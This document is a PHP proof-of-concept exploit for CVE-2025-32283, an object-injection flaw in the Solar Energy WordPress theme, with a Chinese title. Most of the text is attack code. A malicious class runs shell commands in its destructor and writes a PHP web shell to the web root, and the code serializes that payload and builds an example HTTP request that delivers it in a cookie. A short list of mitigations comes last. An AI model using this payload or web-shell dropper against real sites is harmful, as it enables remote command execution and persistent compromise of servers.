CVE-2025-32283：Solar Energy主题PHP对象注入漏洞

<?php /** * CVE-2025-32283 - Solar Energy Theme PHP Object Injection PoC * Vulnerability: Untrusted Data Deserialization leading to Object Injection * Affected: designthemes Solar Energy <= 3.5 * * Note: This PoC demonstrates the concept of PHP Object Injection. * The actual exploit chain depends on available classes in the target environment. */ // Example of a malicious serialized object that could be injected // In a real scenario, the attacker would need to chain available classes // (e.g., through POP chains) to achieve code execution class MaliciousPayload { public $command; public $file; public function __destruct() { // Triggered when the object is garbage collected after deserialization if (isset($this->command)) { system($this->command); } if (isset($this->file)) { file_put_contents($this->file, '<?php system($_GET["cmd"]); ?>'); } } } // Construct the malicious serialized payload $payload = new MaliciousPayload(); $payload->command = "id; whoami; uname -a"; $payload->file = "/var/www/html/shell.php"; $serialized = serialize($payload); echo "Serialized payload:\n" . $serialized . "\n\n"; // URL-encode the payload for HTTP transmission $encoded = urlencode($serialized); echo "URL-encoded payload:\n" . $encoded . "\n\n"; // Example HTTP request demonstrating the exploit $exploit_request = <<<EOT POST /wp-admin/admin-post.php HTTP/1.1 Host: target-site.com Cookie: wordpress_logged_in_test={$encoded} Content-Type: application/x-www-form-urlencoded Content-Length: 0 EOT; echo "Example exploit request:\n" . $exploit_request . "\n"; // Real-world exploitation would involve: // 1. Identifying the entry point (cookie, parameter, header) used by unserialization // 2. Enumerating available PHP classes in the WordPress installation // 3. Building a POP chain using available gadget classes // 4. Crafting the final serialized payload to achieve RCE or file write /** * Mitigation: * - Update Solar Energy theme to version > 3.5 * - Use json_encode/json_decode instead of serialize/unserialize * - Implement allowed_classes option in unserialize(): unserialize($data, ['allowed_classes' => false]) * - Validate and sanitize all user inputs before deserialization */ ?>